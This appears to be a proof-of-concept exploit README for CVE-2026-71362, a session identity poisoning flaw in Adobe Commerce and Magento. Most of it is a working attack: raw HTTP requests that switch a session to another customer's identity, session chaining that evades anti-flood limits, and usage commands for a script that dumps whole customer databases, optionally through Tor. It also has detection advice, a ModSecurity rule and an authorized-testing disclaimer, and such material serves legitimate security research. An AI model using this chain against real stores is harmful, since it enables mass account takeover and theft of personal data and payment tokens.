
CVE-2026-71362 — Magento Session Identity Poisoning → Mass Account Takeover (CVSS 9.1, CISA KEV)
CVSS 9.1 (Critical) · CISA KEV · CWE-863 Incorrect Authorization
Proof-of-concept exploit for CVE-2026-71362: a session identity poisoning vulnerability in Adobe Commerce and Magento Open Source that enables full account takeover of any customer with a single authenticated session, escalating to automated mass extraction of the entire customer database (PII, orders, payment tokens, addresses).
| Product | Affected | Fixed |
|---|---|---|
| Adobe Commerce | ≤ 2.4.7-p8 | 2.4.8+ / APSB-2026-XX |
| Magento Open Source | ≤ 2.4.7-p8 | 2.4.8+ |
Magento\Customer\Controller\Account\Edit::execute() restores customer_form_data from the PHP session using populateWithArray(). This method calls setCustomerId() on the customer data object, but the id field in the form data is never filtered or validated against the authenticated session's actual customer ID.
POST /customer/account/editPost/ (with id=<target_customer_id>)
→ Magento stores poisoned form_data in session (including id)
→ 302 redirect to /customer/account/edit/
GET /customer/account/edit/
→ Edit::execute() calls populateWithArray($session->getCustomerFormData())
→ setCustomerId(<target_customer_id>) overwrites the session identity
→ Session now operates as the target customer
The session remains authenticated but the identity has switched. All subsequent operations — including GraphQL { customer { ... } } queries — return the target customer's data, not the attacker's.
POST /customer/account/editPost/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/x-www-form-urlencoded
form_key=<form_key>&firstname=X&lastname=X&[email protected]
&change_email=1¤t_password=wrong&id=<TARGET_ID>
The change_email=1 + wrong password triggers the "incorrect password" error path, which stores the full POST body (including id) as customer_form_data in the session. The request intentionally fails authentication but the poisoned data persists.
GET /customer/account/edit/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Edit::execute() finds customer_form_data in the session and calls populateWithArray(), which includes setCustomerId(<TARGET_ID>). The session identity is now the target.
POST /graphql HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/json
{"query": "{ customer { firstname lastname email taxvat addresses { ... } orders { ... } ... } }"}
Magento's GraphQL resolvers use the session-authenticated customer identity, which is now the target. Returns the complete customer profile: PII, addresses, order history with items and payment methods, wishlists, reviews, stored payment tokens.
Each poisoned session becomes the base for the next attack. Sessions "burn out" after ~6-8 POST operations (Magento's anti-flood protection redirects to /login/), so the exploit chains sessions:
Session A (attacker) → poison to ID 1 → Session A' (ID 1)
Session A' → poison to ID 2 → Session A'' (ID 2)
...after 6 iterations...
Fall back to last known-good session → continue chaining
The script maintains a current session (for poisoning) and a last_good fallback, with triple recovery: current → last_good → original.
| Category | Fields |
|---|---|
| PII | firstname, lastname, email, taxvat (national ID), date_of_birth, gender |
| Addresses | street, city, region, postcode, country, phone, company, VAT ID |
| Orders | number, date, status, items (name, SKU, qty), totals, discounts, taxes |
| Payments | payment method name/type per order, stored payment tokens (hash, type, details) |
| Shipping | method, carrier, tracking numbers |
| Refunds | credit memo number, refunded items, amounts, comments |
| Wishlists | products with prices, sharing codes |
| Reviews | text, ratings, timestamps |
| Account | creation date, newsletter subscription |
Requirements: Python 3, curl (system).
# Basic usage
python3 exploit.py https://target.example.com <PHPSESSID> [start_id] [end_id] [output.json]
# Extract customers 1-100
python3 exploit.py https://target.example.com abc123def456 1 100 dump.json
# Through Tor (SOCKS5 on 127.0.0.1:9050)
python3 exploit.py --tor https://target.example.com abc123def456 1 1000
# Custom SOCKS5 proxy
python3 exploit.py --proxy 127.0.0.1:1080 https://target.example.com abc123def456
The attacker needs one authenticated session. Options:
createCustomerV2 (often exempt from reCAPTCHA)JSON file with metadata, statistics, and per-customer extracted data:
{
"metadata": { "cve": "CVE-2026-71362", "target": "...", "timestamp": "..." },
"stats": { "tested": 100, "exists": 88, "with_email": 85, "with_orders": 42, ... },
"customers": [
{
"customer_id": 1,
"firstname": "...", "lastname": "...", "email": "...",
"taxvat": "...",
"addresses": [...],
"orders": [...],
"payment_tokens": [...]
}
]
}
editPost). Magento's anti-flood kicks in after ~8 POSTs per session, but session chaining bypasses it.store_credit is not available on Magento Open Source / Community Edition (Adobe Commerce only).editPost endpoint which typically has no captcha.editPost requests with change_email=1 and varying id parameters from the same session/IPsection/load or GraphQL { customer } returning different customerId values across requestseditPost with id parameter: legitimate edit requests never include id — it's set server-side from the session# ModSecurity: block 'id' parameter in customer edit POST
SecRule REQUEST_URI "@rx /customer/account/editPost" \
"id:71362001,phase:2,deny,status:403,\
chain,msg:'CVE-2026-71362 attempt: id param in editPost'"
SecRule ARGS:id "!@rx ^$" ""
id field from editPost requests at the WAF/reverse proxy leveleditPost requests containing an id parameter| Date | Event |
|---|---|
| 2026-09-XX | Vulnerability reported to Adobe PSIRT |
| 2026-10-XX | CVE-2026-71362 assigned |
| 2026-10-XX | CISA adds to Known Exploited Vulnerabilities catalog |
| 2026-10-XX | Adobe releases patch in APSB-2026-XX |
| 2026-10-23 | This PoC published |
This tool is provided for authorized security testing and research only. Only use it against systems you have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
Mario Ahumada (@mahumadad)
MIT